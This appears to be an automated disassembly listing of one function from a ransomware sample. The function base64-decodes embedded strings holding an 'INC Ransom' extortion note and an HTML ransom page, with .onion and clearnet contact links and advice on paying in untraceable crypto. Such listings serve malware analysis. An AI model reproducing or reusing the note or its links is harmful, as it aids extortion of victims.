Function at 0x406b30
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push str.fn5fiBJTkMgUmFuc29tIH5fn4NCg0KLS0tLS0IFlvdXIgZGF0YSBpcyBzdG9sZW4gYW5kIGVuY3J5cHRlZC4NCklmIHlvdSBkb24ndCBwYXkgdGhlIHJhbnNvbSwgdGhlIGRhdGEgd2lsbCBiZSBwdWJsaXNoZWQgb24gb3VyIFRPUiBkYXJrbmV0IHNpdGVzLg0KVGhlIHNvb25lciB5b3UgcGF5IHRoZSByYW5zb20sIHRoZSBzb29uZXIgeW91ciBjb21wYW55IHdpbGwgYmUgc2FmZS4NCg0KVG9yIEJyb3dzZXIgTGluazoNCglodHRwOi8vaW5jYmxvZzd2bXVxN3JrdGljNzNyNGhhNGo3NTdtM3B0eW0zN3R5dmlmenAycm9lZHl5enp4aWQub25pb24vDQoNCkxpbmsgZm9yIG5vcm1hbCBicm93c2VyOg0KCWh0dHA6Ly9pbmNhcHQuc3UvDQoJDQotLS0tLT4gV2hhdCBndWFyYW50ZWVzIGFyZSB0aGF0IHdlIHdvbid0IGZvb2wgeW91Pw0KV2UgYXJlIG5vdCBhIHBvbGl0aWNhbGx5IG1vdGl2YXRlZCBncm91cCBhbmQgd2Ugd2FudCBub3RoaW5nIG1vcmUgdGhhbiBtb25leS4NCklmIHlvdSBwYXksIHdlIHdpbGwgcHJvdmlkZSB5b3Ugd2l0aCBkZWNyeXB0aW9uIHNvZnR3YXJlIGFuZCBkZXN0cm95IHRoZSBzdG9sZW4gZGF0YS4NCkFmdGVyIHlvdSBwYXkgdGhlIHJhbnNvbSwgeW91IHdpbGwgcXVpY2tseSByZXN0b3JlIHlvdXIgc3lzdGVtcyBhbmQgbWFrZSBldmVuIG1vcmUgbW9uZXkuDQpUcmVhdCB0aGlzIHNpdHVhdGlvbiBzaW1wbHkgYXMgYSBwYWlkIHRyYWluaW5nIGZvciB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9ycywgYmVjYXVzZSBpdCBpcyBkdWUgdG8geW91ciBjb3Jwb3JhdGUgbmV0d29yayBub3QgYmVpbmcgcHJvcGVybHkgY29uZmlndXJlZCB0aGF0IHdlIHdlcmUgYWJsZSB0byBhdHRhY2sgeW91Lg0KT3VyIHBlbnRlc3Qgc2VydmljZXMgc2hvdWxkIGJlIHBhaWQganVzdCBsaWtlIHlvdSBwYXkgdGhlIHNhbGFyaWVzIG9mIHlvdXIgc3lzdGVtIGFkbWluaXN0cmF0b3JzLiBHZXQgb3ZlciBpdCBhbmQgcGF5IGZvciBpdC4NCklmIHdlIGRvbid0IGdpdmUgeW91IGEgZGVjcnlwdG9yIG9yIGRlbGV0ZSB5b3VyIGRhdGEgYWZ0ZXIgeW91IHBheSwgbm8gb25lIHdpbGwgcGF5IHVzIGluIHRoZSBmdXR1cmUuDQpZb3UgY2FuIGdldCBtb3JlIGluZm9ybWF0aW9uIGFib3V0IHVzIG9uIFR3aXR0ZXIgaHR0cHM6Ly90d2l0dGVyLmNvbS9oYXNodGFnL2luY3JhbnNvbT9mPWxpdmUNCg0KLS0tLS0IFlvdSBuZWVkIHRvIGNvbnRhY3QgdXMgb24gVE9SIGRhcmtuZXQgc2l0ZXMgd2l0aCB5b3VyIHBlcnNvbmFsIElEDQpEb3dubG9hZCBhbmQgaW5zdGFsbCBUb3IgQnJvd3NlciBodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy8NCldyaXRlIHRvIHRoZSBjaGF0IHJvb20gYW5kIHdhaXQgZm9yIGFuIGFuc3dlciwgd2UnbGwgZ3VhcmFudGVlIGEgcmVzcG9uc2UgZnJvbSB5b3UuDQpTb21ldGltZXMgeW91IHdpbGwgaGF2ZSB0byB3YWl0IHNvbWUgdGltZSBmb3Igb3VyIHJlcGx5LCB0aGlzIGlzIGJlY2F1c2Ugd2UgaGF2ZSBhIGxvdCBvZiB3b3JrIGFuZCB3ZSBhdHRhY2sgdGVucyBvZiBjb21wYW5pZXMgYXJvdW5kIHRoZSB3b3JsZC4NCg0KVG9yIEJyb3dzZXIgTGluayBmb3IgY2hhdDoNCglodHRwOi8vaW5jcGF5c3A3NGRwaGNianl2ZzJlZXB4bmwzdGtndDVtcTV2ZDR0bmp1c29pc3N6MzQyYmRuYWQub25pb24vDQoNCllvdXIgcGVyc29uYWwgSUQ6DQoJJWlkJQ0KDQotLS0tLT4gV2FybmluZyEgRG9uJ3QgZGVsZXRlIG9yIG1vZGlmeSBlbmNyeXB0ZWQgZmlsZXMsIGl0IHdpbGwgbGVhZCB0byBwcm9ibGVtcyB3aXRoIGRlY3J5cHRpb24gb2YgZmlsZXMhDQotLS0tLT4gRG9uJ3QgZ28gdG8gdGhlIHBvbGljZSBvciB0aGUgRkJJIGZvciBoZWxwLiBUaGV5IHdvbid0IGhlbHAgeW91Lg0KVGhlIHBvbGljZSB3aWxsIHRyeSB0byBwcm9oaWJpdCB5b3UgZnJvbSBwYXlpbmcgdGhlIHJhbnNvbSBpbiBhbnkgd2F5Lg0KVGhlIGZpcnN0IHRoaW5nIHRoZXkgd2lsbCB0ZWxsIHlvdSBpcyB0aGF0IHRoZXJlJ3Mgbm8gZ3VhcmFudGVlIHRvIGRlY3J5cHQgeW91ciBmaWxlcyBhbmQgcmVtb3ZlIHN0b2xlbiBmaWxlcy4NClRoaXMgaXMgbm90IHRydWUsIHdlIGNhbiBkbyBhIHRlc3QgZGVjcnlwdGlvbiBiZWZvcmUgcGF5aW5nIGFuZCB5b3VyIGRhdGEgd2lsbCBiZSBndWFyYW50ZWVkIHRvIGJlIHJlbW92ZWQgYmVjYXVzZSBpdCdzIGEgbWF0dGVyIG9mIG91ciByZXB1dGF0aW9uLg0KUGF5aW5nIHRoZSByYW5zb20gdG8gdXMgaXMgbXVjaCBjaGVhcGVyIGFuZCBtb3JlIHByb2ZpdGFibGUgdGhhbiBwYXlpbmcgZmluZXMgYW5kIGxlZ2FsIGZlZXMuDQpUaGUgcG9saWNlIGFuZCB0aGUgRkJJIGRvbid0IGNhcmUgd2hhdCBsb3NzZXMgeW91IHN1ZmZlciBhcyBhIHJlc3VsdCBvZiBvdXIgYXR0YWNrLCBhbmQgd2UnbGwgaGVscCB5b3UgZ2V0IHJpZCBvZiBhbGwgeW91ciBwcm9ibGVtcyBmb3IgYSBtb2Rlc3Qgc3VtIG9mIG1vbmV5Lg0KSWYgeW91J3JlIHdvcnJpZWQgdGhhdCBzb21lb25lIHdpbGwgdHJhY2UgeW91ciBiYW5rIHRyYW5zZmVycywgeW91IGNhbiBlYXNpbHkgYnV5IGNyeXB0b2N1cnJlbmN5IGZvciBjYXNoLCB0aHVzIGxlYXZpbmcgbm8gZGlnaXRhbCB0cmFpbCB0aGF0IHNvbWVvbmUgZnJvbSB5b3VyIGNvbXBhbnkgcGFpZCBvdXIgcmFuc29tLg0KVGhlIHBvbGljZSBhbmQgRkJJIHdvbid0IGJlIGFibGUgdG8gc3RvcCBsYXdzdWl0cyBmcm9tIHlvdXIgY3VzdG9tZXJzIGZvciBsZWFraW5nIHBlcnNvbmFsIGFuZCBwcml2YXRlIGluZm9ybWF0aW9uLg0KVGhlIHBvbGljZSBhbmQgRkJJIHdvbid0IHByb3RlY3QgeW91IGZyb20gcmVwZWF0ZWQgYXR0YWNrcy4gDQoNCi0tLS0tPiBEb24ndCBnbyB0byByZWNvdmVyeSBjb21wYW5pZXMhDQpUaGV5IGFyZSBlc3NlbnRpYWxseSBqdXN0IG1pZGRsZW1lbiB3aG8gd2lsbCBtYWtlIG1vbmV5IG9mZiB5b3UgYW5kIGNoZWF0IHlvdS4NCldlIGFyZSB3ZWxsIGF3YXJlIG9mIGNhc2VzIHdoZXJlIHJlY292ZXJ5IGNvbXBhbmllcyB0ZWxsIHlvdSB0aGF0IHRoZSByYW5zb20gcHJpY2UgaXMgJDVNIGRvbGxhcnMsIGJ1dCBpbiBmYWN0IHRoZXkgc2VjcmV0bHkgbmVn
mov dword [ebp - 8], 0
call ebx
push 0
push 0
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0
push 1
push edi
push str.fn5fiBJTkMgUmFuc29tIH5fn4NCg0KLS0tLS0IFlvdXIgZGF0YSBpcyBzdG9sZW4gYW5kIGVuY3J5cHRlZC4NCklmIHlvdSBkb24ndCBwYXkgdGhlIHJhbnNvbSwgdGhlIGRhdGEgd2lsbCBiZSBwdWJsaXNoZWQgb24gb3VyIFRPUiBkYXJrbmV0IHNpdGVzLg0KVGhlIHNvb25lciB5b3UgcGF5IHRoZSByYW5zb20sIHRoZSBzb29uZXIgeW91ciBjb21wYW55IHdpbGwgYmUgc2FmZS4NCg0KVG9yIEJyb3dzZXIgTGluazoNCglodHRwOi8vaW5jYmxvZzd2bXVxN3JrdGljNzNyNGhhNGo3NTdtM3B0eW0zN3R5dmlmenAycm9lZHl5enp4aWQub25pb24vDQoNCkxpbmsgZm9yIG5vcm1hbCBicm93c2VyOg0KCWh0dHA6Ly9pbmNhcHQuc3UvDQoJDQotLS0tLT4gV2hhdCBndWFyYW50ZWVzIGFyZSB0aGF0IHdlIHdvbid0IGZvb2wgeW91Pw0KV2UgYXJlIG5vdCBhIHBvbGl0aWNhbGx5IG1vdGl2YXRlZCBncm91cCBhbmQgd2Ugd2FudCBub3RoaW5nIG1vcmUgdGhhbiBtb25leS4NCklmIHlvdSBwYXksIHdlIHdpbGwgcHJvdmlkZSB5b3Ugd2l0aCBkZWNyeXB0aW9uIHNvZnR3YXJlIGFuZCBkZXN0cm95IHRoZSBzdG9sZW4gZGF0YS4NCkFmdGVyIHlvdSBwYXkgdGhlIHJhbnNvbSwgeW91IHdpbGwgcXVpY2tseSByZXN0b3JlIHlvdXIgc3lzdGVtcyBhbmQgbWFrZSBldmVuIG1vcmUgbW9uZXkuDQpUcmVhdCB0aGlzIHNpdHVhdGlvbiBzaW1wbHkgYXMgYSBwYWlkIHRyYWluaW5nIGZvciB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9ycywgYmVjYXVzZSBpdCBpcyBkdWUgdG8geW91ciBjb3Jwb3JhdGUgbmV0d29yayBub3QgYmVpbmcgcHJvcGVybHkgY29uZmlndXJlZCB0aGF0IHdlIHdlcmUgYWJsZSB0byBhdHRhY2sgeW91Lg0KT3VyIHBlbnRlc3Qgc2VydmljZXMgc2hvdWxkIGJlIHBhaWQganVzdCBsaWtlIHlvdSBwYXkgdGhlIHNhbGFyaWVzIG9mIHlvdXIgc3lzdGVtIGFkbWluaXN0cmF0b3JzLiBHZXQgb3ZlciBpdCBhbmQgcGF5IGZvciBpdC4NCklmIHdlIGRvbid0IGdpdmUgeW91IGEgZGVjcnlwdG9yIG9yIGRlbGV0ZSB5b3VyIGRhdGEgYWZ0ZXIgeW91IHBheSwgbm8gb25lIHdpbGwgcGF5IHVzIGluIHRoZSBmdXR1cmUuDQpZb3UgY2FuIGdldCBtb3JlIGluZm9ybWF0aW9uIGFib3V0IHVzIG9uIFR3aXR0ZXIgaHR0cHM6Ly90d2l0dGVyLmNvbS9oYXNodGFnL2luY3JhbnNvbT9mPWxpdmUNCg0KLS0tLS0IFlvdSBuZWVkIHRvIGNvbnRhY3QgdXMgb24gVE9SIGRhcmtuZXQgc2l0ZXMgd2l0aCB5b3VyIHBlcnNvbmFsIElEDQpEb3dubG9hZCBhbmQgaW5zdGFsbCBUb3IgQnJvd3NlciBodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy8NCldyaXRlIHRvIHRoZSBjaGF0IHJvb20gYW5kIHdhaXQgZm9yIGFuIGFuc3dlciwgd2UnbGwgZ3VhcmFudGVlIGEgcmVzcG9uc2UgZnJvbSB5b3UuDQpTb21ldGltZXMgeW91IHdpbGwgaGF2ZSB0byB3YWl0IHNvbWUgdGltZSBmb3Igb3VyIHJlcGx5LCB0aGlzIGlzIGJlY2F1c2Ugd2UgaGF2ZSBhIGxvdCBvZiB3b3JrIGFuZCB3ZSBhdHRhY2sgdGVucyBvZiBjb21wYW5pZXMgYXJvdW5kIHRoZSB3b3JsZC4NCg0KVG9yIEJyb3dzZXIgTGluayBmb3IgY2hhdDoNCglodHRwOi8vaW5jcGF5c3A3NGRwaGNianl2ZzJlZXB4bmwzdGtndDVtcTV2ZDR0bmp1c29pc3N6MzQyYmRuYWQub25pb24vDQoNCllvdXIgcGVyc29uYWwgSUQ6DQoJJWlkJQ0KDQotLS0tLT4gV2FybmluZyEgRG9uJ3QgZGVsZXRlIG9yIG1vZGlmeSBlbmNyeXB0ZWQgZmlsZXMsIGl0IHdpbGwgbGVhZCB0byBwcm9ibGVtcyB3aXRoIGRlY3J5cHRpb24gb2YgZmlsZXMhDQotLS0tLT4gRG9uJ3QgZ28gdG8gdGhlIHBvbGljZSBvciB0aGUgRkJJIGZvciBoZWxwLiBUaGV5IHdvbid0IGhlbHAgeW91Lg0KVGhlIHBvbGljZSB3aWxsIHRyeSB0byBwcm9oaWJpdCB5b3UgZnJvbSBwYXlpbmcgdGhlIHJhbnNvbSBpbiBhbnkgd2F5Lg0KVGhlIGZpcnN0IHRoaW5nIHRoZXkgd2lsbCB0ZWxsIHlvdSBpcyB0aGF0IHRoZXJlJ3Mgbm8gZ3VhcmFudGVlIHRvIGRlY3J5cHQgeW91ciBmaWxlcyBhbmQgcmVtb3ZlIHN0b2xlbiBmaWxlcy4NClRoaXMgaXMgbm90IHRydWUsIHdlIGNhbiBkbyBhIHRlc3QgZGVjcnlwdGlvbiBiZWZvcmUgcGF5aW5nIGFuZCB5b3VyIGRhdGEgd2lsbCBiZSBndWFyYW50ZWVkIHRvIGJlIHJlbW92ZWQgYmVjYXVzZSBpdCdzIGEgbWF0dGVyIG9mIG91ciByZXB1dGF0aW9uLg0KUGF5aW5nIHRoZSByYW5zb20gdG8gdXMgaXMgbXVjaCBjaGVhcGVyIGFuZCBtb3JlIHByb2ZpdGFibGUgdGhhbiBwYXlpbmcgZmluZXMgYW5kIGxlZ2FsIGZlZXMuDQpUaGUgcG9saWNlIGFuZCB0aGUgRkJJIGRvbid0IGNhcmUgd2hhdCBsb3NzZXMgeW91IHN1ZmZlciBhcyBhIHJlc3VsdCBvZiBvdXIgYXR0YWNrLCBhbmQgd2UnbGwgaGVscCB5b3UgZ2V0IHJpZCBvZiBhbGwgeW91ciBwcm9ibGVtcyBmb3IgYSBtb2Rlc3Qgc3VtIG9mIG1vbmV5Lg0KSWYgeW91J3JlIHdvcnJpZWQgdGhhdCBzb21lb25lIHdpbGwgdHJhY2UgeW91ciBiYW5rIHRyYW5zZmVycywgeW91IGNhbiBlYXNpbHkgYnV5IGNyeXB0b2N1cnJlbmN5IGZvciBjYXNoLCB0aHVzIGxlYXZpbmcgbm8gZGlnaXRhbCB0cmFpbCB0aGF0IHNvbWVvbmUgZnJvbSB5b3VyIGNvbXBhbnkgcGFpZCBvdXIgcmFuc29tLg0KVGhlIHBvbGljZSBhbmQgRkJJIHdvbid0IGJlIGFibGUgdG8gc3RvcCBsYXdzdWl0cyBmcm9tIHlvdXIgY3VzdG9tZXJzIGZvciBsZWFraW5nIHBlcnNvbmFsIGFuZCBwcml2YXRlIGluZm9ybWF0aW9uLg0KVGhlIHBvbGljZSBhbmQgRkJJIHdvbid0IHByb3RlY3QgeW91IGZyb20gcmVwZWF0ZWQgYXR0YWNrcy4gDQoNCi0tLS0tPiBEb24ndCBnbyB0byByZWNvdmVyeSBjb21wYW5pZXMhDQpUaGV5IGFyZSBlc3NlbnRpYWxseSBqdXN0IG1pZGRsZW1lbiB3aG8gd2lsbCBtYWtlIG1vbmV5IG9mZiB5b3UgYW5kIGNoZWF0IHlvdS4NCldlIGFyZSB3ZWxsIGF3YXJlIG9mIGNhc2VzIHdoZXJlIHJlY292ZXJ5IGNvbXBhbmllcyB0ZWxsIHlvdSB0aGF0IHRoZSByYW5zb20gcHJpY2UgaXMgJDVNIGRvbGxhcnMsIGJ1dCBpbiBmYWN0IHRoZXkgc2VjcmV0bHkgbmVn
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push dword [ebp - 8]
call fcn.0040d6b1
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push 0
push eax
push esi
push 1
push edi
push str.fn5fiBJTkMgUmFuc29tIH5fn4NCg0KLS0tLS0IFlvdXIgZGF0YSBpcyBzdG9sZW4gYW5kIGVuY3J5cHRlZC4NCklmIHlvdSBkb24ndCBwYXkgdGhlIHJhbnNvbSwgdGhlIGRhdGEgd2lsbCBiZSBwdWJsaXNoZWQgb24gb3VyIFRPUiBkYXJrbmV0IHNpdGVzLg0KVGhlIHNvb25lciB5b3UgcGF5IHRoZSByYW5zb20sIHRoZSBzb29uZXIgeW91ciBjb21wYW55IHdpbGwgYmUgc2FmZS4NCg0KVG9yIEJyb3dzZXIgTGluazoNCglodHRwOi8vaW5jYmxvZzd2bXVxN3JrdGljNzNyNGhhNGo3NTdtM3B0eW0zN3R5dmlmenAycm9lZHl5enp4aWQub25pb24vDQoNCkxpbmsgZm9yIG5vcm1hbCBicm93c2VyOg0KCWh0dHA6Ly9pbmNhcHQuc3UvDQoJDQotLS0tLT4gV2hhdCBndWFyYW50ZWVzIGFyZSB0aGF0IHdlIHdvbid0IGZvb2wgeW91Pw0KV2UgYXJlIG5vdCBhIHBvbGl0aWNhbGx5IG1vdGl2YXRlZCBncm91cCBhbmQgd2Ugd2FudCBub3RoaW5nIG1vcmUgdGhhbiBtb25leS4NCklmIHlvdSBwYXksIHdlIHdpbGwgcHJvdmlkZSB5b3Ugd2l0aCBkZWNyeXB0aW9uIHNvZnR3YXJlIGFuZCBkZXN0cm95IHRoZSBzdG9sZW4gZGF0YS4NCkFmdGVyIHlvdSBwYXkgdGhlIHJhbnNvbSwgeW91IHdpbGwgcXVpY2tseSByZXN0b3JlIHlvdXIgc3lzdGVtcyBhbmQgbWFrZSBldmVuIG1vcmUgbW9uZXkuDQpUcmVhdCB0aGlzIHNpdHVhdGlvbiBzaW1wbHkgYXMgYSBwYWlkIHRyYWluaW5nIGZvciB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9ycywgYmVjYXVzZSBpdCBpcyBkdWUgdG8geW91ciBjb3Jwb3JhdGUgbmV0d29yayBub3QgYmVpbmcgcHJvcGVybHkgY29uZmlndXJlZCB0aGF0IHdlIHdlcmUgYWJsZSB0byBhdHRhY2sgeW91Lg0KT3VyIHBlbnRlc3Qgc2VydmljZXMgc2hvdWxkIGJlIHBhaWQganVzdCBsaWtlIHlvdSBwYXkgdGhlIHNhbGFyaWVzIG9mIHlvdXIgc3lzdGVtIGFkbWluaXN0cmF0b3JzLiBHZXQgb3ZlciBpdCBhbmQgcGF5IGZvciBpdC4NCklmIHdlIGRvbid0IGdpdmUgeW91IGEgZGVjcnlwdG9yIG9yIGRlbGV0ZSB5b3VyIGRhdGEgYWZ0ZXIgeW91IHBheSwgbm8gb25lIHdpbGwgcGF5IHVzIGluIHRoZSBmdXR1cmUuDQpZb3UgY2FuIGdldCBtb3JlIGluZm9ybWF0aW9uIGFib3V0IHVzIG9uIFR3aXR0ZXIgaHR0cHM6Ly90d2l0dGVyLmNvbS9oYXNodGFnL2luY3JhbnNvbT9mPWxpdmUNCg0KLS0tLS0IFlvdSBuZWVkIHRvIGNvbnRhY3QgdXMgb24gVE9SIGRhcmtuZXQgc2l0ZXMgd2l0aCB5b3VyIHBlcnNvbmFsIElEDQpEb3dubG9hZCBhbmQgaW5zdGFsbCBUb3IgQnJvd3NlciBodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy8NCldyaXRlIHRvIHRoZSBjaGF0IHJvb20gYW5kIHdhaXQgZm9yIGFuIGFuc3dlciwgd2UnbGwgZ3VhcmFudGVlIGEgcmVzcG9uc2UgZnJvbSB5b3UuDQpTb21ldGltZXMgeW91IHdpbGwgaGF2ZSB0byB3YWl0IHNvbWUgdGltZSBmb3Igb3VyIHJlcGx5LCB0aGlzIGlzIGJlY2F1c2Ugd2UgaGF2ZSBhIGxvdCBvZiB3b3JrIGFuZCB3ZSBhdHRhY2sgdGVucyBvZiBjb21wYW5pZXMgYXJvdW5kIHRoZSB3b3JsZC4NCg0KVG9yIEJyb3dzZXIgTGluayBmb3IgY2hhdDoNCglodHRwOi8vaW5jcGF5c3A3NGRwaGNianl2ZzJlZXB4bmwzdGtndDVtcTV2ZDR0bmp1c29pc3N6MzQyYmRuYWQub25pb24vDQoNCllvdXIgcGVyc29uYWwgSUQ6DQoJJWlkJQ0KDQotLS0tLT4gV2FybmluZyEgRG9uJ3QgZGVsZXRlIG9yIG1vZGlmeSBlbmNyeXB0ZWQgZmlsZXMsIGl0IHdpbGwgbGVhZCB0byBwcm9ibGVtcyB3aXRoIGRlY3J5cHRpb24gb2YgZmlsZXMhDQotLS0tLT4gRG9uJ3QgZ28gdG8gdGhlIHBvbGljZSBvciB0aGUgRkJJIGZvciBoZWxwLiBUaGV5IHdvbid0IGhlbHAgeW91Lg0KVGhlIHBvbGljZSB3aWxsIHRyeSB0byBwcm9oaWJpdCB5b3UgZnJvbSBwYXlpbmcgdGhlIHJhbnNvbSBpbiBhbnkgd2F5Lg0KVGhlIGZpcnN0IHRoaW5nIHRoZXkgd2lsbCB0ZWxsIHlvdSBpcyB0aGF0IHRoZXJlJ3Mgbm8gZ3VhcmFudGVlIHRvIGRlY3J5cHQgeW91ciBmaWxlcyBhbmQgcmVtb3ZlIHN0b2xlbiBmaWxlcy4NClRoaXMgaXMgbm90IHRydWUsIHdlIGNhbiBkbyBhIHRlc3QgZGVjcnlwdGlvbiBiZWZvcmUgcGF5aW5nIGFuZCB5b3VyIGRhdGEgd2lsbCBiZSBndWFyYW50ZWVkIHRvIGJlIHJlbW92ZWQgYmVjYXVzZSBpdCdzIGEgbWF0dGVyIG9mIG91ciByZXB1dGF0aW9uLg0KUGF5aW5nIHRoZSByYW5zb20gdG8gdXMgaXMgbXVjaCBjaGVhcGVyIGFuZCBtb3JlIHByb2ZpdGFibGUgdGhhbiBwYXlpbmcgZmluZXMgYW5kIGxlZ2FsIGZlZXMuDQpUaGUgcG9saWNlIGFuZCB0aGUgRkJJIGRvbid0IGNhcmUgd2hhdCBsb3NzZXMgeW91IHN1ZmZlciBhcyBhIHJlc3VsdCBvZiBvdXIgYXR0YWNrLCBhbmQgd2UnbGwgaGVscCB5b3UgZ2V0IHJpZCBvZiBhbGwgeW91ciBwcm9ibGVtcyBmb3IgYSBtb2Rlc3Qgc3VtIG9mIG1vbmV5Lg0KSWYgeW91J3JlIHdvcnJpZWQgdGhhdCBzb21lb25lIHdpbGwgdHJhY2UgeW91ciBiYW5rIHRyYW5zZmVycywgeW91IGNhbiBlYXNpbHkgYnV5IGNyeXB0b2N1cnJlbmN5IGZvciBjYXNoLCB0aHVzIGxlYXZpbmcgbm8gZGlnaXRhbCB0cmFpbCB0aGF0IHNvbWVvbmUgZnJvbSB5b3VyIGNvbXBhbnkgcGFpZCBvdXIgcmFuc29tLg0KVGhlIHBvbGljZSBhbmQgRkJJIHdvbid0IGJlIGFibGUgdG8gc3RvcCBsYXdzdWl0cyBmcm9tIHlvdXIgY3VzdG9tZXJzIGZvciBsZWFraW5nIHBlcnNvbmFsIGFuZCBwcml2YXRlIGluZm9ybWF0aW9uLg0KVGhlIHBvbGljZSBhbmQgRkJJIHdvbid0IHByb3RlY3QgeW91IGZyb20gcmVwZWF0ZWQgYXR0YWNrcy4gDQoNCi0tLS0tPiBEb24ndCBnbyB0byByZWNvdmVyeSBjb21wYW5pZXMhDQpUaGV5IGFyZSBlc3NlbnRpYWxseSBqdXN0IG1pZGRsZW1lbiB3aG8gd2lsbCBtYWtlIG1vbmV5IG9mZiB5b3UgYW5kIGNoZWF0IHlvdS4NCldlIGFyZSB3ZWxsIGF3YXJlIG9mIGNhc2VzIHdoZXJlIHJlY292ZXJ5IGNvbXBhbmllcyB0ZWxsIHlvdSB0aGF0IHRoZSByYW5zb20gcHJpY2UgaXMgJDVNIGRvbGxhcnMsIGJ1dCBpbiBmYWN0IHRoZXkgc2VjcmV0bHkgbmVn
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [ebp - 8]
push ecx
mov ecx, esi
mov dword [0x429278], esi
mov byte [esi + eax], 0
call fcn.004062c0
add esp, 4
mov dword [0x429278], eax
push str.PGh0bWwDQoJPGhlYWQDQoJCTx0aXRsZT5JTkMgUmFuc29tPC90aXRsZT4NCgk8L2hlYWQDQoJPGJvZHkgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGp1c3RpZnktY29udGVudDogY2VudGVyOyBhbGlnbi1pdGVtczogY2VudGVyOyBvdmVyZmxvdzogaGlkZGVuOyIDQoJCTxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgbWF4LXdpZHRoOiA4MCU7IG92ZXJmbG93LXk6IGF1dG87Ij4NCgkJCTxkaXYgc3R5bGU9IndpZHRoOiA4MCU7Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5Zb3VyIGRhdGEgaXMgc3RvbGVuIGFuZCBlbmNyeXB0ZWQuPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5JZiB5b3UgZG9uJ3QgcGF5IHRoZSByYW5zb20sIHRoZSBkYXRhIHdpbGwgYmUgcHVibGlzaGVkIG9uIG91ciBUT1IgZGFya25ldCBzaXRlcy48L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij5UaGUgc29vbmVyIHlvdSBwYXkgdGhlIHJhbnNvbSwgdGhlIHNvb25lciB5b3VyIGNvbXBhbnkgd2lsbCBiZSBzYWZlLjwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBtYXJnaW4tdG9wOiAxNnB4OyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5CbG9nIFRvciBCcm93c2VyIExpbms6PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyIaHR0cDovL2luY2Jsb2c3dm11cTdya3RpYzczcjRoYTRqNzU3bTNwdHltMzd0eXZpZnpwMnJvZWR5eXp6eGlkLm9uaW9uLzwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBtYXJnaW4tdG9wOiAxNnB4OyIDQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7Ij5CbG9nIExpbmsgZm9yIG5vcm1hbCBicm93c2VyOjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgbWFyZ2luLXRvcDogOHB4OyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPmh0dHA6Ly9pbmNhcHQuc3UvPC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IG1hcmdpbi10b3A6IDE2cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsgZm9udC13ZWlnaHQ6IDYwMDsiPllvdSBuZWVkIHRvIGNvbnRhY3QgdXMgb24gVE9SIGRhcmtuZXQgc2l0ZXMgd2l0aCB5b3VyIHBlcnNvbmFsIElEPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tdG9wOiA4cHg7Ij5Eb3dubG9hZCBhbmQgaW5zdGFsbCBUb3IgQnJvd3NlciBodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy88L3NwYW4DQogICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IG1hcmdpbi10b3A6IDhweDsiPldyaXRlIHRvIHRoZSBjaGF0IHJvb20gYW5kIHdhaXQgZm9yIGFuIGFuc3dlciwgd2UnbGwgZ3VhcmFudGVlIGEgcmVzcG9uc2UgZnJvbSB5b3UuPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXp